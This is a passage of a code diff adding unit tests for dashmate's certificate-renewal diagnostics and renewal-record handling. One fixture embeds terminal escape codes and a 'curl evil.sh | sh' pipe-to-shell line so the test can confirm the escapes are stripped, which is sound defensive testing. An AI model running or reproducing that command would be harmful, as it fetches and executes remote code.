expect(expired.getSolution()).to.not.contain('dashmate logs'); + expect(expired.getSolution()).to.contain('port 80'); + }); + + it('should still send an operator to the logs when nothing was recorded', () => { + installedValid({ status: 'INVALID', validTo: validTo(-1) }); + + const problems = analyse(served({ certificate: { fingerprint256: 'AA:BB', validTo: validTo(-1) } })); + + const expired = problems.find((p) => p.getDescription().includes('expired')); + + expect(expired.getSolution()).to.contain('dashmate logs'); + }); + + it('should ignore a failure the installed certificate has already outlived', () => { + // The operator opened port 80 and ran the obtain command. The helper + // cannot notice - it stops watching configuration until it retries, and + // installing a certificate changes nothing it watches - so the reader + // has to. Reporting here would tell an operator their repair failed at + // the exact moment they ran the command to check it. + installedValid({ validFrom: new Date().toUTCString() }); + renewalFailed({ attemptedAt: new Date(Date.now() - DAY_MS).toISOString() }); + + const problems = analyse(served()); + + expect(problems.filter((p) => p.getDescription().includes('not being renewed'))).to.have.lengthOf(0); + }); + + it('should ignore a record left behind by the previous provider', () => { + installedValid(); + renewalFailed({ provider: 'zerossl' }); + + const problems = analyse(served()); + + expect(problems.filter((p) => p.getDescription().includes('not being renewed'))).to.have.lengthOf(0); + }); + + it('should say nothing when renewal is not dashmate\'s to do', () => { + // The shipped default names a provider with SSL turned off, so reading + // the provider alone would speak on every node that never obtained one. + config.set('platform.gateway.ssl.enabled', false); + installedValid(); + renewalFailed(); + + const problems = analyse(served()); + + expect(problems.filter((p) => p.getDescription().includes('not being renewed'))).to.have.lengthOf(0); + }); + + it('should say nothing at all when nothing was recorded and the certificate is fine', () => { + // A healthy node right after an upgrade has no record yet. A problem + // with nothing wrong and nothing to do trains an operator to stop + // reading them. + installedValid(); + + const problems = analyse(served()); + + expect(problems).to.have.lengthOf(0); + }); + + it('should say a spent issuance could not be saved, and how to make room for the next one', () => { + // That certificate counts against a weekly limit whether or not it + // arrived, so asking again spends a second one to fix a local problem. + installedValid(); + renewalFailed({ + code: 'CERTIFICATE_ISSUED_NOT_SAVED', + issuanceSpentAt: new Date().toISOString(), + }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('Do not obtain another certificate yet'); + expect(renewal.getSolution()).to.contain('free space'); + }); + + it('should not answer a port 80 failure with disk advice just because an issuance was spent', () => { + // The spend is carried forward until a certificate arrives, so it + // outlives the failure that caused it. It still forbids asking again - + // but it does not get to describe a different failure, and it must not + // send an operator to check free space for a firewall problem. + installedValid(); + renewalFailed({ + code: 'PORT_80_UNREACHABLE', + issuanceSpentAt: new Date(Date.now() - 5 * DAY_MS).toISOString(), + }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('port 80'); + expect(renewal.getSolution()).to.not.contain('free space'); + expect(renewal.getSolution()).to.not.contain('ssl obtain'); + }); + + it('should say a rate limit clears by itself without forbidding the check', () => { + // A rate limit is read from the same text as every other cause, and that + // text is partly the responder's: a survived nonce retry can be all that + // is left of a run that actually failed on a closed port. So it persuades + // rather than forbids - the operator is told plainly that running the + // command now will not help, and decides. + installedValid(); + renewalFailed({ code: 'RATE_LIMITED' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('clears by itself'); + expect(renewal.getSolution()).to.contain('does not make it clear any sooner'); + expect(renewal.getSolution()).to.contain('ssl obtain'); + }); + + it('should offer the switch, not a retry, when the provider will never issue again', () => { + config.set('platform.gateway.ssl.provider', 'zerossl'); + installedValid(); + renewalFailed({ provider: 'zerossl', code: 'QUOTA_EXHAUSTED' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getDescription()).to.contain('all three of its certificates'); + expect(renewal.getSolution()).to.contain("Switch to Let's Encrypt"); + }); + + it('should send an operator upstream when something else answered on port 80', () => { + // `ss` lists this machine only, and the answer is as often a router or a + // hosting provider. An operator who sees an empty table and stops has + // nowhere else to look. + installedValid(); + renewalFailed({ code: 'PORT_80_WRONG_RESPONDER' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('router'); + expect(renewal.getSolution()).to.contain('hosting provider'); + }); + + it('should report a certificate that renewed but never reached the gateway', () => { + installedValid(); + samples.setServiceInfo('gateway', 'certificateRenewal', { + state: 'PRESENT', + provider: 'letsencrypt', + outcome: 'succeeded', + attemptedAt: new Date().toISOString(), + lastSuccessAt: new Date().toISOString(), + consecutiveFailures: 0, + issuanceSpentAt: null, + gatewayReloadFailedAt: new Date().toISOString(), + }); + + // No wire sample: the gateway is down, which is exactly when a failed + // signal is the only evidence there is. + const [reload] = analyseGatewayCertificate(samples) + .filter((p) => p.getDescription().includes('still using the old one')); + + expect(reload).to.exist(); + // Not a restart: the signal costs no outage, and a restart on a gateway + // that could not be signalled is the expensive guess. + expect(reload.getSolution()).to.not.contain('restart'); + expect(reload.getSolution()).to.contain('ssl obtain'); + }); + + it('should not prescribe an obtain the recorded cause says will be refused, even on a broken certificate', () => { + // The path an operator reaches most often: certificate expired, gateway + // stopped for the documented upgrade. It printed one bold command and + // the reason it was wrong underneath it, so the command got run - and + // spent one of the few failed validations this node is allowed. + installedValid({ + status: 'INVALID', + validTo: validTo(-1), + reasons: [{ code: 'EXPIRED', message: 'The installed certificate expired on 2026-08-20' }], + }); + renewalFailed({ code: 'CERTIFICATE_ISSUED_NOT_SAVED' }); + + const [expired] = analyseGatewayCertificate(samples) + .filter((p) => p.getDescription().includes('expired')); + + expect(expired.getSolution()).to.not.contain('ssl obtain'); + // And the cause is read before anything else, because an operator stops + // at the first thing that looks runnable. + expect(expired.getSolution().indexOf('Renewal is failing')) + .to.be.below(expired.getSolution().indexOf('Last renewed')); + }); + + it('should not claim a refusal when it does not know whether anything was requested', () => { + installedValid(); + renewalFailed({ code: 'RESULT_UNKNOWN' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.not.contain('refused'); + expect(renewal.getSolution()).to.contain('may already have been issued'); + }); + + it('should send a failure to start the check to Docker, not to the firewall', () => { + // Nothing reached the certificate authority, so rewriting firewall rules + // that were never wrong changes nothing and the operator never reaches + // the one place the answer lives. + installedValid(); + renewalFailed({ code: 'HELPER_DID_NOT_START' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.not.contain('firewall'); + expect(renewal.getSolution()).to.contain('Docker'); + }); + + it('should show whatever the certificate authority actually said', () => { + // Already bounded, redacted and stripped, and the only account of the + // failure that did not come from dashmate. + installedValid(); + renewalFailed({ code: 'PROVIDER_REJECTED', detail: 'acme: error: 400 :: badNonce' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('badNonce'); + }); + + it('should not tell a node one day from dark that nothing is broken yet', () => { + // The warning also hands back the obtain command the renewal problem + // deliberately withheld, which would fail on the same shut port. + installedValid({ + warnings: [{ code: 'EXPIRING_SOON', message: "This node's certificate expires in 1 day" }], + }); + renewalFailed(); + + const problems = analyse(served()); + + expect(problems.filter((p) => p.getSolution().includes('Nothing is broken yet'))) + .to.have.lengthOf(0); + }); + + it('should not tell a ZeroSSL operator their certificate renews every few days', () => { + // True of a six-day Let's Encrypt IP certificate, false of a ninety-day + // ZeroSSL one. + config.set('platform.gateway.ssl.provider', 'zerossl'); + installedValid(); + renewalFailed({ provider: 'zerossl' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.not.contain('every few days'); + }); + + it('should name the repair for a retry that never came', () => { + installedValid({ validFrom: new Date(Date.now() - 12 * DAY_MS).toUTCString() }); + renewalFailed({ attemptedAt: new Date(Date.now() - 11 * DAY_MS).toISOString() }); + samples.date = new Date(Date.now() - 10 * DAY_MS); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('dashmate start'); + }); + + it('should not raise a second reload problem beside the one that carries the deadline', () => { + // Both fire on the same fault, and they prescribe opposite commands - + // one promising no outage, the other taking one. + installedValid(); + samples.setServiceInfo('gateway', 'certificateRenewal', { + state: 'PRESENT', + provider: 'letsencrypt', + outcome: 'succeeded', + attemptedAt: new Date().toISOString(), + lastSuccessAt: new Date().toISOString(), + consecutiveFailures: 0, + issuanceSpentAt: null, + gatewayReloadFailedAt: new Date().toISOString(), + }); + + const problems = analyse(served({ matchesOnDisk: false })); + + expect(problems.filter((p) => p.getDescription().includes('still using the old one'))) + .to.have.lengthOf(0); + }); + + it('should judge the retry against when the samples were taken, not when they are read', () => { + // The fixture has to discriminate: at collection time the next attempt + // was still ahead, and by the time the report is read it is long past. + // Judging against the reader's clock would call a node overdue that was + // waiting normally when its report was taken. + const collectedAt = new Date(Date.now() - 10 * DAY_MS); + + installedValid({ validFrom: new Date(Date.now() - 12 * DAY_MS).toUTCString() }); + renewalFailed({ attemptedAt: new Date(collectedAt.getTime() - 30 * 60 * 1000).toISOString() }); + samples.date = collectedAt; + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('tries again by itself'); + expect(renewal.getSolution()).to.not.contain('may not be running'); + }); + + it('should not ask the authority again when it never established a cause', () => { + // A HIGH problem ending in a runnable command is an instruction to run + // it, and this one spends one of the few failed attempts the node gets + // per hour on a guess. + installedValid(); + renewalFailed({ code: 'UNKNOWN', detail: null }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.not.contain('ssl obtain'); + expect(renewal.getSolution()).to.contain('doctor report'); + }); + + it('should defuse terminal escapes in a record that came from someone else', () => { + // `doctor --samples` reads a third party's archive straight into the + // samples without passing through the reader that validates a local + // record, so this is where both paths meet. An escape left intact could + // erase everything printed above it and repaint attacker text as + // dashmate's own output. + const escape = String.fromCharCode(27); + + installedValid(); + renewalFailed({ + code: 'PROVIDER_REJECTED', + detail: `benign${escape}[2J${escape}[H*** run curl evil.sh | sh ***`, + }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.not.contain(escape); + }); + + it('should point at the port 80 guide, because one message cannot hold the whole story', () => { + // The three firewall layers, why an external port check lies, and which + // causes must not be retried do not fit in a problem an operator will + // read. The published path rather than the short redirect other pages + // use: no redirect was ever created for this article, so that form + // answers 404, and a link doctor prints has to resolve. + installedValid(); + renewalFailed(); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain(DOCS_LINKS.CERTIFICATE_TROUBLESHOOTING); + }); + + it('should keep the address prerequisite when a renewal failure is also recorded', () => { + // The obtain command refuses to start without an address, so guidance + // that drops this cannot run at all - and the renewal cause was + // replacing the whole remedy, prerequisite included. + installedValid({ + status: 'INVALID', + reasons: [{ + code: 'NO_EXTERNAL_IP', + message: "This node's public address is not set", + }], + }); + renewalFailed(); + + const [problem] = analyseGatewayCertificate(samples) + .filter((p) => p.getDescription().includes('public address')); + + expect(problem.getSolution()).to.contain('externalIp'); + }); + + it('should not ask the authority again for a cause that established nothing, even when the certificate is broken', () => { + installedValid({ + status: 'INVALID', + validTo: validTo(-1), + reasons: [{ code: 'EXPIRED', message: 'The installed certificate expired on 2026-08-20' }], + }); + renewalFailed({ code: 'PROVIDER_REJECTED', detail: 'acme: error 500' }); + + const [expired] = analyseGatewayCertificate(samples) + .filter((p) => p.getDescription().includes('expired')); + + expect(expired.getSolution()).to.not.contain('ssl obtain'); + expect(expired.getSolution()).to.contain('doctor report'); + }); + + it('should withhold another certificate while an earlier result was never read', () => { + installedValid(); + renewalFailed({ + code: 'PORT_80_UNREACHABLE', + issuanceUncertainAt: new Date(Date.now() - DAY_MS).toISOString(), + }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('may already have been issued'); + expect(renewal.getSolution()).to.not.contain('ssl obtain'); + }); + + it('should not claim the authority was unreachable when the check may have run', () => { + installedValid(); + renewalFailed({ + code: 'HELPER_START_UNCONFIRMED', + issuanceUncertainAt: new Date().toISOString(), + }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getDescription()).to.not.contain('nothing reached'); + expect(renewal.getSolution()).to.not.contain('ssl obtain'); + }); + + it('should be less urgent for a node still far outside its renewal window', () => { + // A ZeroSSL API failure months before expiry is not the same emergency as + // a Let's Encrypt node two days from dark, and calling both HIGH teaches + // an operator to discount the ones that are. + config.set('platform.gateway.ssl.provider', 'zerossl'); + installedValid({ validTo: validTo(60) }); + renewalFailed({ provider: 'zerossl', code: 'PROVIDER_UNREACHABLE' }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSeverity()).to.equal(SEVERITY.MEDIUM); + }); + + it('should stay urgent inside the renewal window', () => { + installedValid({ validTo: validTo(1) }); + renewalFailed(); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSeverity()).to.equal(SEVERITY.HIGH); + }); + + it('should not prescribe a certificate when it could not read what it recorded', () => { + // The record may be the one saying an issuance is outstanding. Update + // already refused to spend a certificate on evidence nobody could + // inspect; the doctor refusing too is what keeps the two agreeing. + config.set('platform.gateway.ssl.enabled', true); + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + installedValid({ + status: 'INVALID', + validTo: validTo(-1), + reasons: [{ code: 'EXPIRED', message: 'The installed certificate expired on 2026-08-20' }], + }); + samples.setServiceInfo('gateway', 'certificateRenewal', { + state: 'UNREADABLE', + path: '~/.dashmate/base/platform/gateway/ssl/renewal.json', + error: 'EACCES: permission denied', + }); + + const [expired] = analyseGatewayCertificate(samples) + .filter((p) => p.getDescription().includes('expired')); + + expect(expired.getSolution()).to.not.contain('ssl obtain'); + expect(expired.getSolution()).to.contain('could not read'); + }); + + it('should be urgent when the retry never came, however far off expiry is', () => { + // Nothing is renewing this node at all, which does not become less + // pressing just because the certificate it is still serving lasts months. + config.set('platform.gateway.ssl.provider', 'zerossl'); + installedValid({ validTo: validTo(60) }); + renewalFailed({ + provider: 'zerossl', + code: 'PROVIDER_UNREACHABLE', + attemptedAt: new Date(Date.now() - 5 * 60 * 60 * 1000).toISOString(), + }); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSeverity()).to.equal(SEVERITY.HIGH); + }); + + it('should withhold a certificate request from every branch, not only the renewal one', () => { + // A branch that never heard of the renewal record was still printing an + // obtain command while an issuance was already outstanding. The + // derivation is the only thing allowed to decide that now. + installedValid(); + renewalFailed({ + code: 'PORT_80_UNREACHABLE', + issuanceSpentAt: new Date(Date.now() - DAY_MS).toISOString(), + }); + + // A trust failure - a branch entirely unrelated to renewal. + const problems = analyse(served({ + chainVerified: false, + chainError: 'DEPTH_ZERO_SELF_SIGNED_CERT', + })); + + const trust = problems.find((p) => p.getDescription().includes('not trusted')); + + expect(trust).to.exist(); + expect(trust.getSolution()).to.not.contain('ssl obtain'); + expect(trust.getSolution()).to.contain('already issued'); + }); + + it('should say nothing about renewal for a provider dashmate does not renew', () => { + // `file` and `self-signed` are installed by the operator; there is no + // scheduled renewal to report on, and reporting one would call a + // correctly configured node broken. + config.set('platform.gateway.ssl.provider', 'file'); + installedValid(); + renewalFailed({ provider: 'file' }); + + const problems = analyse(served()); + + expect(problems.filter((p) => p.getDescription().includes('not being renewed'))) + .to.have.lengthOf(0); + }); + }); }); diff --git a/packages/dashmate/test/unit/doctor/unarchiveSamplesFactory.spec.js b/packages/dashmate/test/unit/doctor/unarchiveSamplesFactory.spec.js index 7d4c3ab8d31..fa7823a3cd9 100644 --- a/packages/dashmate/test/unit/doctor/unarchiveSamplesFactory.spec.js +++ b/packages/dashmate/test/unit/doctor/unarchiveSamplesFactory.spec.js @@ -44,6 +44,22 @@ describe('unarchiveSamplesFactory', () => { .to.deep.equal([]); }); + it('should restore the collection date as a Date, so analysers can judge samples against the moment they were taken', async () => { + // A report is opened days after it was collected, and analysers compare + // certificate dates against `samples.date` rather than the current time for + // exactly that reason. Handing them the ISO string the archive stores makes + // every such comparison throw, so the type is part of the contract. + fs.writeFileSync(path.join(sourceDir, 'date.txt'), '2026-01-01T00:00:00.000Z'); + const archivePath = path.join(testRoot, 'dated.tar.gz'); + await create({ cwd: sourceDir, gzip: true, file: archivePath }, ['.']); + + const unarchiveSamples = unarchiveSamplesFactory(() => []); + const samples = await unarchiveSamples(archivePath); + + expect(samples.date).to.be.an.instanceOf(Date); + expect(samples.date.toISOString()).to.equal('2026-01-01T00:00:00.000Z'); + }); + it('rejects symbolic-link archive members', async () => { fs.writeFileSync(path.join(sourceDir, 'target.txt'), 'target'); fs.symlinkSync('target.txt', path.join(sourceDir, 'linked.txt')); diff --git a/packages/dashmate/test/unit/helper/record-renewal-outcome.spec.js b/packages/dashmate/test/unit/helper/record-renewal-outcome.spec.js new file mode 100644 index 00000000000..d2c77fec5b3 --- /dev/null +++ b/packages/dashmate/test/unit/helper/record-renewal-outcome.spec.js @@ -0,0 +1,414 @@ +import { expect } from 'chai'; +import fs from 'fs'; +import path from 'path'; +import HomeDir from '../../../src/config/HomeDir.js'; +import { + clearRenewalRecord, + recordGatewayReloadFailure, + recordRenewalFailure, + recordRenewalSuccess, +} from '../../../src/helper/record-renewal-outcome.js'; +import RenewalRecordRepository, { + RENEWAL_RECORD_STATES, +} from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; +import { RENEWAL_FAILURE_CODES } from '../../../src/ssl/renewal-failure.js'; +import LegoArtifactsMissingError from '../../../src/ssl/errors/LegoArtifactsMissingError.js'; +import LegoResultNotObservedError from '../../../src/ssl/errors/LegoResultNotObservedError.js'; +import LegoDidNotStartError from '../../../src/ssl/errors/LegoDidNotStartError.js'; +import RenewalRecord from '../../../src/ssl/renewalRecord/RenewalRecord.js'; + +const CONFIG_NAME = 'mainnet'; +const PROVIDER = 'letsencrypt'; + +describe('recordRenewalOutcome', () => { + let homeDir; + let renewalRecordRepository; + + const read = () => renewalRecordRepository.read(CONFIG_NAME); + const fail = (error) => recordRenewalFailure({ + renewalRecordRepository, homeDir, configName: CONFIG_NAME, provider: PROVIDER, error, + }); + + beforeEach(() => { + homeDir = HomeDir.createTemp(); + renewalRecordRepository = new RenewalRecordRepository(homeDir); + }); + + afterEach(() => { + homeDir.remove(); + }); + + it('should create the certificate directory, which a node that never obtained one does not have', () => { + // The directory is made when a certificate is first saved. A node that has + // never had one is exactly the node whose renewal is worth recording. + expect(fs.existsSync(path.dirname(renewalRecordRepository.getPath(CONFIG_NAME)))).to.equal(false); + + recordRenewalSuccess({ renewalRecordRepository, configName: CONFIG_NAME, provider: PROVIDER }); + + expect(read().state).to.equal(RENEWAL_RECORD_STATES.PRESENT); + }); + + it('should carry the last success forward through failures, and count them', () => { + recordRenewalSuccess({ renewalRecordRepository, configName: CONFIG_NAME, provider: PROVIDER }); + const { record: succeeded } = read(); + + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + + const { record } = read(); + + expect(record.isFailed()).to.equal(true); + expect(record.getConsecutiveFailures()).to.equal(2); + // Success is durable state, not something a reader has to observe in + // flight: the next attempt is scheduled on the tick after a renewal + // completes, so the succeeded outcome itself is gone within milliseconds. + expect(record.getLastSuccessAt().toISOString()) + .to.equal(succeeded.getLastSuccessAt().toISOString()); + }); + + it('should reset the failure count once a certificate arrives', () => { + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + recordRenewalSuccess({ renewalRecordRepository, configName: CONFIG_NAME, provider: PROVIDER }); + + expect(read().record.getConsecutiveFailures()).to.equal(0); + }); + + it('should keep a spent issuance recorded when a later, different failure replaces the cause', () => { + // The failure an hour later is "the certificate file is missing", whose + // ordinary advice is to obtain one. Doing that spends a second certificate + // against a limit of five a week to fix a problem that is local. The record + // holds one outcome, so this fact has to outlive the outcome that produced + // it or the dangerous advice wins simply by being written last. + fail(new Error('guidance', { cause: new LegoArtifactsMissingError('/tmp/x.crt') })); + + const spentAt = read().record.toObject().issuanceSpentAt; + expect(spentAt).to.not.equal(null); + + fail(new Error('ENOENT: no such file or directory')); + + const { record } = read(); + + expect(record.getCode()).to.not.equal(RENEWAL_FAILURE_CODES.CERTIFICATE_ISSUED_NOT_SAVED); + expect(record.toObject().issuanceSpentAt).to.equal(spentAt); + }); + + // A record that exists and cannot be read is not an absent one. It may be the + // record that says a certificate was issued and never saved, and treating it + // as nothing writes a fresh one with no markers - so the next failure an hour + // later advises asking again, which is exactly what the lost marker forbade. + it('should keep withholding when the previous record could not be read', () => { + fs.mkdirSync(path.dirname(renewalRecordRepository.getPath(CONFIG_NAME)), { recursive: true }); + fs.writeFileSync(renewalRecordRepository.getPath(CONFIG_NAME), '{ not json'); + + fail(new Error('[1.2.3.4] acme: error: 400 :: urn:ietf:params:acme:error:connection :: timeout')); + + const { record } = read(); + + expect(record.isIssuanceUncertain(), 'the guard survives an unreadable record').to.be.true(); + expect(record.isIssuanceOutstanding()).to.be.true(); + }); + + it('should not inherit the previous provider\'s history when the provider changed', () => { + // A provider change handed over by the configuration watcher does not clear + // the record. Carrying the old provider's spent issuance forward would + // suppress the repair for an unrelated failure on the new one. + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: CONFIG_NAME, + provider: 'letsencrypt', + error: new Error('guidance', { cause: new LegoArtifactsMissingError('/tmp/x.crt') }), + }); + + expect(read().record.isIssuanceSpent()).to.equal(true); + + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: CONFIG_NAME, + provider: 'zerossl', + error: new Error('urn:ietf:params:acme:error:connection :: timeout'), + }); + + const { record } = read(); + + expect(record.getProvider()).to.equal('zerossl'); + expect(record.isIssuanceSpent()).to.equal(false); + expect(record.getConsecutiveFailures()).to.equal(1); + expect(record.getLastSuccessAt()).to.equal(null); + }); + + it('should keep the no-retry guard when an unread result is replaced by a later failure', () => { + // The helper ran and nobody read how it finished, so a certificate may + // already have been issued. An hour later an ordinary cause replaces it, + // and its ordinary advice is to ask for another one. + fail(new Error('guidance', { cause: new LegoResultNotObservedError(new Error('gone')) })); + + expect(read().record.isIssuanceUncertain()).to.equal(true); + + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + + const { record } = read(); + + expect(record.getCode()).to.equal(RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE); + expect(record.isIssuanceUncertain()).to.equal(true); + expect(record.isIssuanceOutstanding()).to.equal(true); + }); + + it('should clear an uncertain issuance once a certificate actually arrives', () => { + fail(new Error('guidance', { cause: new LegoResultNotObservedError(new Error('gone')) })); + + recordRenewalSuccess({ renewalRecordRepository, configName: CONFIG_NAME, provider: PROVIDER }); + + expect(read().record.isIssuanceUncertain()).to.equal(false); + }); + + it('should refuse a date whose derived retry instant cannot be represented', () => { + // Valid on its own and unusable: readers derive the next attempt from it, + // and formatting that result throws - which would take the whole diagnosis + // down rather than one field. An archive can carry such a value. + const recordPath = renewalRecordRepository.getPath(CONFIG_NAME); + fs.mkdirSync(path.dirname(recordPath), { recursive: true }); + fs.writeFileSync(recordPath, JSON.stringify({ + provider: PROVIDER, + outcome: 'failed', + code: 'UNKNOWN', + attemptedAt: '+275760-09-13T00:00:00.000Z', + consecutiveFailures: 1, + })); + + expect(read().state).to.not.equal(RENEWAL_RECORD_STATES.PRESENT); + }); + + it('should not let an unreadable fence silently permit every superseded writer', () => { + // A fence that exists and cannot be read is not the same as no fence. + // Treating it as absent lets every superseded chain through at exactly the + // moment the guard is needed, so the failure is surfaced instead. + const generationPath = path.join( + path.dirname(renewalRecordRepository.getPath(CONFIG_NAME)), + '.renewal-generation', + ); + + fs.mkdirSync(generationPath, { recursive: true }); + + // A real record, so the only thing that can decide the outcome is the + // fence - passing null would throw on its own and prove nothing. + const record = RenewalRecord.fromObject({ + provider: PROVIDER, + outcome: 'failed', + code: RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE, + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + }); + + expect(() => renewalRecordRepository.read(CONFIG_NAME)).to.not.throw(); + expect(() => renewalRecordRepository.write(CONFIG_NAME, record, 1)).to.throw(); + }); + + it('should refuse to write against a fence it cannot understand', () => { + // Content that is not a number is not the same as no fence. Reading it as + // zero is what an absent fence reads as, so a superseded writer would pass. + const generationPath = path.join( + path.dirname(renewalRecordRepository.getPath(CONFIG_NAME)), + '.renewal-generation', + ); + + fs.mkdirSync(path.dirname(generationPath), { recursive: true }); + fs.writeFileSync(generationPath, 'not-a-number\n'); + + const record = RenewalRecord.fromObject({ + provider: PROVIDER, + outcome: 'failed', + code: RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE, + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + }); + + expect(() => renewalRecordRepository.write(CONFIG_NAME, record, 1)).to.throw(); + }); + + it('should not let a superseded chain describe a node it no longer renews', () => { + // The old job's callback keeps running after the configuration watcher + // hands over, and both chains write to the same file. Without a fence the + // attempt that was replaced overwrites the one that replaced it, and both + // say letsencrypt so the provider guard cannot see it. + const superseded = renewalRecordRepository.claimGeneration(CONFIG_NAME); + const current = renewalRecordRepository.claimGeneration(CONFIG_NAME); + + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: CONFIG_NAME, + provider: PROVIDER, + code: RENEWAL_FAILURE_CODES.CERTIFICATE_FILE_MISSING, + generation: current, + }); + + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: CONFIG_NAME, + provider: PROVIDER, + error: new Error('urn:ietf:params:acme:error:rateLimited :: too many'), + generation: superseded, + }); + + expect(read().record.getCode()).to.equal(RENEWAL_FAILURE_CODES.CERTIFICATE_FILE_MISSING); + }); + + it('should keep the fence after the record is cleared, so a stale writer cannot recreate it', () => { + // A fence living only inside the record would not survive its removal: the + // superseded writer finds nothing on disk, concludes it is first, and + // resurrects state the current chain deliberately dropped. + const superseded = renewalRecordRepository.claimGeneration(CONFIG_NAME); + + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + + const current = renewalRecordRepository.claimGeneration(CONFIG_NAME); + clearRenewalRecord({ renewalRecordRepository, configName: CONFIG_NAME, generation: current }); + + expect(read().state).to.equal(RENEWAL_RECORD_STATES.ABSENT); + + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: CONFIG_NAME, + provider: PROVIDER, + error: new Error('urn:ietf:params:acme:error:connection :: timeout'), + generation: superseded, + }); + + expect(read().state).to.equal(RENEWAL_RECORD_STATES.ABSENT); + }); + + it('should not let a superseded chain delete what the current one recorded', () => { + const superseded = renewalRecordRepository.claimGeneration(CONFIG_NAME); + const current = renewalRecordRepository.claimGeneration(CONFIG_NAME); + + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: CONFIG_NAME, + provider: PROVIDER, + error: new Error('urn:ietf:params:acme:error:connection :: timeout'), + generation: current, + }); + + clearRenewalRecord({ renewalRecordRepository, configName: CONFIG_NAME, generation: superseded }); + + expect(read().state).to.equal(RENEWAL_RECORD_STATES.PRESENT); + }); + + it('should treat a start Docker never confirmed as one that may have spent an issuance', () => { + // Docker can reject a start it already accepted, so the certificate check + // may be running and may already have asked the authority. + fail(new Error('guidance', { + cause: new LegoDidNotStartError(new Error('connection reset'), false), + })); + + const { record } = read(); + + expect(record.getCode()).to.equal(RENEWAL_FAILURE_CODES.HELPER_START_UNCONFIRMED); + expect(record.isIssuanceUncertain()).to.equal(true); + }); + + it('should clear a spent issuance once a certificate actually arrives', () => { + fail(new Error('guidance', { cause: new LegoArtifactsMissingError('/tmp/x.crt') })); + + recordRenewalSuccess({ renewalRecordRepository, configName: CONFIG_NAME, provider: PROVIDER }); + + expect(read().record.toObject().issuanceSpentAt).to.equal(null); + }); + + it('should record a failed gateway reload without disturbing the renewal that succeeded', () => { + recordRenewalSuccess({ renewalRecordRepository, configName: CONFIG_NAME, provider: PROVIDER }); + + recordGatewayReloadFailure({ renewalRecordRepository, configName: CONFIG_NAME }); + + const { record } = read(); + + expect(record.getGatewayReloadFailedAt()).to.not.equal(null); + // The certificate renewed. Counting this as a renewal failure would tell an + // operator whose certificate is minutes old that renewal has been failing + // since whenever it last worked. + expect(record.isFailed()).to.equal(false); + expect(record.getConsecutiveFailures()).to.equal(0); + expect(record.getLastSuccessAt()).to.not.equal(null); + }); + + it('should take the accepted code from the caller when the cause is already known', () => { + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: CONFIG_NAME, + provider: PROVIDER, + code: RENEWAL_FAILURE_CODES.CERTIFICATE_FILE_MISSING, + }); + + expect(read().record.getCode()).to.equal(RENEWAL_FAILURE_CODES.CERTIFICATE_FILE_MISSING); + }); + + it('should start over rather than throw when what is already there is corrupt', () => { + const recordPath = renewalRecordRepository.getPath(CONFIG_NAME); + fs.mkdirSync(path.dirname(recordPath), { recursive: true }); + fs.writeFileSync(recordPath, '{ this is not json'); + + fail(new Error('urn:ietf:params:acme:error:connection :: timeout')); + + const { state, record } = read(); + + expect(state).to.equal(RENEWAL_RECORD_STATES.PRESENT); + expect(record.getConsecutiveFailures()).to.equal(1); + expect(record.getLastSuccessAt()).to.equal(null); + }); + + it('should not throw when the record cannot be written, so a renewal never fails on bookkeeping', () => { + // A throw from here reaches the cron callback that owns the renewal chain, + // where it would skip the stop that schedules the next attempt and leave + // the helper alive with nothing scheduled and nothing watching. + const recordPath = renewalRecordRepository.getPath(CONFIG_NAME); + fs.mkdirSync(recordPath, { recursive: true }); + + expect(() => fail(new 